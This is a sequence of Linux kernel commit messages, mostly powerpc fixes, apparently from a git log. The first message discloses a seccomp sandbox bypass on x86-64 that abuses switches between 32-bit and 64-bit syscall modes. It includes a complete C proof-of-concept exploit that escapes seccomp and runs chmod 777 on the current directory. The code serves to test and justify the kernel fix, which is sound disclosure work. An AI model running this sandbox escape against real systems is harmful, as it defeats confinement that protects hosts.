On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
The PCI 2.x cells used on some 44x SoCs only let us configure the decode
for the low 32-bit of the incoming PLB addresses. The top 4 bits (this
is a 36-bit bus) are hard wired to different values depending on the
specific SoC in use. Our code used to work "by accident" until I added
support for the ISA memory holes and while at it added more validity
checking of the addresses.
This patch should bring it back to working condition. It still relies
on the device-tree being correct but that's somewhat a pre-requisite
for anything to work anyway.
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Acked-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Acked-by: Josh Boyer <jwboyer@linux.vnet.ibm.com>
This fixes a regression introduced by commit
a4e22f02f5 ("powerpc: Update 64bit
__copy_tofrom_user() using CPU_FTR_UNALIGNED_LD_STD").
The same bug that existed in the 64bit memcpy() also exists here so fix
it here too. The fix is the same as that applied to memcpy() with the
addition of fixes for the exception handling code required for
__copy_tofrom_user().
This stops us reading beyond the end of the source region we were told
to copy.
Signed-off-by: Mark Nelson <markn@au1.ibm.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
This fixes a regression introduced by commit
25d6e2d7c5 ("powerpc: Update 64bit memcpy()
using CPU_FTR_UNALIGNED_LD_STD").
This commit allowed CPUs that have the CPU_FTR_UNALIGNED_LD_STD CPU
feature bit present to do the memcpy() with unaligned load doubles. But,
along with this came a bug where our final load double would read bytes
beyond a page boundary and into the next (unmapped) page. This was caught
by enabling CONFIG_DEBUG_PAGEALLOC,
The fix was to read only the number of bytes that we need to store rather
than reading a full 8-byte doubleword and storing only a portion of that.
In order to minimise the amount of existing code touched we use the
original do_tail for the src_unaligned case.
Below is an example of the regression, as reported by Sachin Sant:
Unable to handle kernel paging request for data at address 0xc00000003f380000
Faulting instruction address: 0xc000000000039574
cpu 0x1: Vector: 300 (Data Access) at [c00000003baf3020]
pc: c000000000039574: .memcpy+0x74/0x244
lr: d00000000244916c: .ext3_xattr_get+0x288/0x2f4 [ext3]
sp: c00000003baf32a0
msr: 8000000000009032
dar: c00000003f380000
dsisr: 40000000
current = 0xc00000003e54b010
paca = 0xc000000000a53680
pid = 1840, comm = readahead
enter ? for help
[link register ] d00000000244916c .ext3_xattr_get+0x288/0x2f4 [ext3]
[c00000003baf32a0] d000000002449104 .ext3_xattr_get+0x220/0x2f4 [ext3]
(unreliab
le)
[c00000003baf3390] d00000000244a6e8 .ext3_xattr_security_get+0x40/0x5c [ext3]
[c00000003baf3400] c000000000148154 .generic_getxattr+0x74/0x9c
[c00000003baf34a0] c000000000333400 .inode_doinit_with_dentry+0x1c4/0x678
[c00000003baf3560] c00000000032c6b0 .security_d_instantiate+0x50/0x68
[c00000003baf35e0] c00000000013c818 .d_instantiate+0x78/0x9c
[c00000003baf3680] c00000000013ced0 .d_splice_alias+0xf0/0x120
[c00000003baf3720] d00000000243e05c .ext3_lookup+0xec/0x134 [ext3]
[c00000003baf37c0] c000000000131e74 .do_lookup+0x110/0x260
[c00000003baf3880] c000000000134ed0 .__link_path_walk+0xa98/0x1010
[c00000003baf3970] c0000000001354a0 .path_walk+0x58/0xc4
[c00000003baf3a20] c000000000135720 .do_path_lookup+0x138/0x1e4
[c00000003baf3ad0] c00000000013645c .path_lookup_open+0x6c/0xc8
[c00000003baf3b70] c000000000136780 .do_filp_open+0xcc/0x874
[c00000003baf3d10] c0000000001251e0 .do_sys_open+0x80/0x140
[c00000003baf3dc0] c00000000016aaec .compat_sys_open+0x24/0x38
[c00000003baf3e30] c00000000000855c syscall_exit+0x0/0x40
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
When we introduced VSX, we changed the way FPRs are stored in the
thread_struct. Unfortunately we missed the load/store float double
alignment handler code when updating how we access FPRs in the
thread_struct.
Below fixes this and merges the little/big endian case.
Signed-off-by: Michael Neuling <mikey@neuling.org>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
kvm_arch_sync_events is introduced to quiet down all other events may happen
contemporary with VM destroy process, like IRQ handler and work struct for
assigned device.
For kvm_arch_sync_events is called at the very beginning of kvm_destroy_vm(), so
the state of KVM here is legal and can provide a environment to quiet down other
events.
Signed-off-by: Sheng Yang <sheng@linux.intel.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
Fix the VSX alignment handler for VSX registers > 32. 32-63 are stored
in the VMX part of the thread_struct not the FPR part.
Signed-off-by: Michael Neuling <mikey@neuling.org>
CC: stable@kernel.org (2.6.27 & .28 please)
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Change the PS3 hotplug memory routine ps3_mm_add_memory() from
a core_initcall to a device_initcall.
core_initcall routines run before the powerpc topology_init()
startup routine, which is a subsys_initcall, resulting in
failure of ps3_mm_add_memory() when CONFIG_NUMA=y. When
ps3_mm_add_memory() fails the system will boot with just the
128 MiB of boot memory
Signed-off-by: Geoff Levand <geoffrey.levand@am.sony.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Fix the powerpc NUMA reserve bootmem page selection logic.
commit 8f64e1f2d1 (powerpc: Reserve
in bootmem lmb reserved regions that cross NUMA nodes) changed
the logic for how the powerpc LMB reserved regions were converted
to bootmen reserved regions. As the folowing discussion reports,
the new logic was not correct.
mark_reserved_regions_for_nid() goes through each LMB on the
system that specifies a reserved area. It searches for
active regions that intersect with that LMB and are on the
specified node. It attempts to bootmem-reserve only the area
where the active region and the reserved LMB intersect. We
can not reserve things on other nodes as they may not have
bootmem structures allocated, yet.
We base the size of the bootmem reservation on two possible
things. Normally, we just make the reservation start and
stop exactly at the start and end of the LMB.
However, the LMB reservations are not aware of NUMA nodes and
on occasion a single LMB may cross into several adjacent
active regions. Those may even be on different NUMA nodes
and will require separate calls to the bootmem reserve
functions. So, the bootmem reservation must be trimmed to
fit inside the current active region.
That's all fine and dandy, but we trim the reservation
in a page-aligned fashion. That's bad because we start the
reservation at a non-page-aligned address: physbase.
The reservation may only span 2 bytes, but that those bytes
may span two pfns and cause a reserve_size of 2*PAGE_SIZE.
Take the case where you reserve 0x2 bytes at 0x0fff and
where the active region ends at 0x1000. You'll jump into
that if() statment, but node_ar.end_pfn=0x1 and
start_pfn=0x0. You'll end up with a reserve_size=0x1000,
and then call
reserve_bootmem_node(node, physbase=0xfff, size=0x1000);
0x1000 may not be on the same node as 0xfff. Oops.
In almost all the vm code, end_<anything> is not inclusive.
If you have an end_pfn of 0x1234, page 0x1234 is not
included in the range. Using PFN_UP instead of the
(>> >> PAGE_SHIFT) will make this consistent with the other VM
code.
We also need to do math for the reserved size with physbase
instead of start_pfn. node_ar.end_pfn << PAGE_SHIFT is
*precisely* the end of the node. However,
(start_pfn << PAGE_SHIFT) is *NOT* precisely the beginning
of the reserved area. That is, of course, physbase.
If we don't use physbase here, the reserve_size can be
made too large.
From: Dave Hansen <dave@linux.vnet.ibm.com>
Tested-by: Geoff Levand <geoffrey.levand@am.sony.com> Tested on PS3.
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Fix _PAGE_CHG_MASK so that pte_modify() does not affect the _PAGE_SPECIAL bit.
Signed-off-by: Philippe Gerum <rpm@xenomai.org>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
The following commit:
commit 64b3d0e812
Author: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Date: Thu Dec 18 19:13:51 2008 +0000
powerpc/mm: Rework usage of _PAGE_COHERENT/NO_CACHE/GUARDED
broke setting of the _PAGE_COHERENT bit in the PPC HW PTE. Since we now
actually set _PAGE_COHERENT in the Linux PTE we shouldn't be clearing it
out before we propogate it to the PPC HW PTE.
Reported-by: Martyn Welch <martyn.welch@gefanuc.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
arch/powerpc/platforms/pseries/hotplug-memory.c uses
remove_section_mapping() but doesn't include sparsemem.h which defines
it. This can cause compilation fails for some configs.
Signed-off-by: Michael Neuling <mikey@neuling.org>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
The new legacy_mem file in sysfs is causing problems with X on machines
that don't support legacy memory access. The way I initially implemented
it, we would fail with -ENXIO when trying to mmap it, thus exposing to
X that we do support the API but there is no legacy memory.
Unfortunately, X poor error handling is causing it to fail to start when
it gets this error.
This implements a workaround hack that instead maps anonymous memory
instead (using shmem if VM_SHARED is set, just like /dev/zero does).
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
arch/powerpc/oprofile/cell/spu_profiler.c is missing a asm/time.h
include which is required for ppc_proc_freq. This can cause compile
failures for some config combinations.
Signed-off-by: Michael Neuling <mikey@neuling.org>
Acked-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Impact: fix dynamic ftrace with large modules in PPC64
The math to calculate the offset into the TOC that is taken from reading
the trampoline is incorrect. The bottom half of the offset is a signed
extended short. The current code was using an OR to create the offset
when it should have been using an addition.
Signed-off-by: Steven Rostedt <srostedt@redhat.com>
Acked-by: Geoff Levand <geoffrey.levand@am.sony.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Currently emulate_step() emulates mr. instructions without updating cr0
and this can be disastrous. Don't emulate mr.
This bug has been around for a while, but I am not sure if its a worthy
-stable candidate. I'll leave it to Ben do decide.
Signed-off-by: Ananth N Mavinakayanahalli <ananth@in.ibm.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Fixed v_mapped_by_tlbcam() and p_mapped_by_tlbcam() to use phys_addr_t
instead of unsigned long. In 36-bit physical mode we really need these
functions to deal with phys_addr_t when trying to match a physical
address or when returning one.
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
Taking sizeof the result of sizeof is quite strange and does not seem to be
what is wanted here.
This was fixed using the following semantic patch.
(http://www.emn.fr/x-info/coccinelle/)
// <smpl>
@@
expression E;
@@
- sizeof (
sizeof (E)
- )
@@
type T;
@@
- sizeof (
sizeof (T)
- )
// </smpl>
Signed-off-by: Julia Lawall <julia@diku.dk>
Acked-by: Scott Wood <scottwood@freescale.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
This is a simple change to correct problems when using set_irq_type
on platforms using CPM2. This code corrects the problem on most platform
but may have issues on 8272 derived platforms for some interrupts.
On 8272 PC2 & 3 are missing and PC 23 & 29 are added, which this patch
does not address.
Signed-off-by: Paul Bilke <paul@conspiracy.net>
Reviewed-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
TSEC0 is connected to Vitesse 7385 5-port switch. The switch
isn't connected to any mdio bus, the link to the switch is fixed
to Full-duplex 1000 Mb/s (no pause).
This patch fixes following failure during bootup:
mdio@24520:01 not found
eth0: Could not attach to PHY
IP-Config: Failed to open eth0
Signed-off-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
commit b31a1d8b41 ("gianfar: Convert
gianfar to an of_platform_driver") introduced a child node for
the ethernet@25000 controller, but no address and size cells
specifiers were added, and that makes dtc unhappy:
DTC: dts->dtb on file "arch/powerpc/boot/dts/mpc8313erdb.dts"
Warning (reg_format): "reg" property in /soc8313@e0000000/ethernet@25000/mdio@25520 has invalid length (8 bytes) (#address-cells == 2, #size-cells == 1)
Warning (avoid_default_addr_size): Relying on default #address-cells value for /soc8313@e0000000/ethernet@25000/mdio@25520
Warning (avoid_default_addr_size): Relying on default #size-cells value for /soc8313@e0000000/ethernet@25000/mdio@25520
Signed-off-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
I noticed this doing some randconfig testing (.config below). I have
CONFIG_PM but no CONFIG_SUSPEND. Bug is against mainline.
arch/powerpc/sysdev/built-in.o: In function `ipic_suspend':
ipic.c:(.text+0x6b34): undefined reference to `fsl_deep_sleep'
make[1]: *** [.tmp_vmlinux1] Error 1
make: *** [sub-make] Error 2
Looks like #ifdef CONFIG_PM in arch/powerpc/sysdev/ipic.c should be
CONFIG_SUSPEND. d49747bdfb introduced
this.
Fix build when we have CONFIG_PM but no CONFIG_SUSPEND.
Signed-off-by: Michael Neuling <mikey@neuling.org>
Acked-by: Scott Wood <scottwood@freescale.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
Recently, a patch left DEBUG enabled in the powerpc common PCI code,
resulting in an old bug in a pr_debug() statement to show up and cause
a NULL dereference on some machines.
This fixes the pr_debug() statement and reverts to DEBUG not being
force-enabled in that file.
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
fix the following 'make headers_check' warning:
usr/include/asm-powerpc/swab.h:11: include of <linux/types.h> is preferred over <asm/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
fix the following 'make headers_check' warning:
usr/include/asm-powerpc/spu_info.h:27: found __[us]{8,16,32,64} type without #include <linux/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
fix the following 'make headers_check' warning:
usr/include/asm-powerpc/ps3fb.h:33: found __[us]{8,16,32,64} type without #include <linux/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
fix the following 'make headers_check' warnings:
usr/include/asm-powerpc/kvm.h:23: include of <linux/types.h> is preferred over <asm/types.h>
usr/include/asm-powerpc/kvm.h:26: found __[us]{8,16,32,64} type without #include <linux/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
fix the following 'make headers_check' warning:
usr/include/asm-powerpc/elf.h:5: include of <linux/types.h> is preferred over <asm/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
fix the following 'make headers_check' warnings:
usr/include/asm-powerpc/bootx.h:12: include of <linux/types.h> is preferred over <asm/types.h>
usr/include/asm-powerpc/bootx.h:57: found __[us]{8,16,32,64} type without #include <linux/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
This patch ensures that memory gets properly mapped into the PCI
address space. Without this patch, the memory window BAR is left
at whatever value happened to be loaded into the BAR when Linux
was booted. Without this patch, memory could end up getting mapped
at any of the 1G address boundaries instead of at '0' where Linux
expects it.
Similarly, this patch also ensures that the internally memory mapped
registers (IMMR) are mapped to the correct PCI address range.
Without this patch, PCI appears to work correctly until a PCI
device is inserted which DMAs into memory.
Signed-off-by: Grant Likely <grant.likely@secretlab.ca>
Tested-by: Wolfram Sang <w.sang@pengutronix.de>
_PAGE_COHERENT is now always set in _PAGE_RAM resp. PAGE_KERNEL.
Thus it has to be masked out, if the BAT mapping should be non
cacheable or CPU_FTR_NEED_COHERENT is not set.
This will work on normal SMP setups because we force-set
CPU_FTR_NEED_COHERENT as part of CPU_FTR_COMMON on SMP.
Signed-off-by: Gerhard Pircher <gerhard_pircher@gmx.net>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
In the VIO bus code the wrappers for dma alloc_coherent and free_coherent
calls are rounding to IOMMU_PAGE_SIZE. Taking a look at the underlying
calls, the actual mapping is promoted to PAGE_SIZE. Changing the
rounding in these two functions fixes under-reporting the entitlement
used by the system. Without this change, the system could run out of
entitlement before it believes it has and incur mapping failures at the
firmware level.
Also in the VIO bus code, the wrapper for dma map_sg is not exiting in
an error path where it should. Rather than fall through to code for the
success case, this patch adds the return that is needed in the error path.
Signed-off-by: Robert Jennings <rcj@linux.vnet.ibm.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Remove some leftover cruft from the arch/ppc days
Signed-off-by: Josh Boyer <jwboyer@linux.vnet.ibm.com>
Acked-by: Kumar Gala <galak@kernel.crashing.org>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Ingo Molnar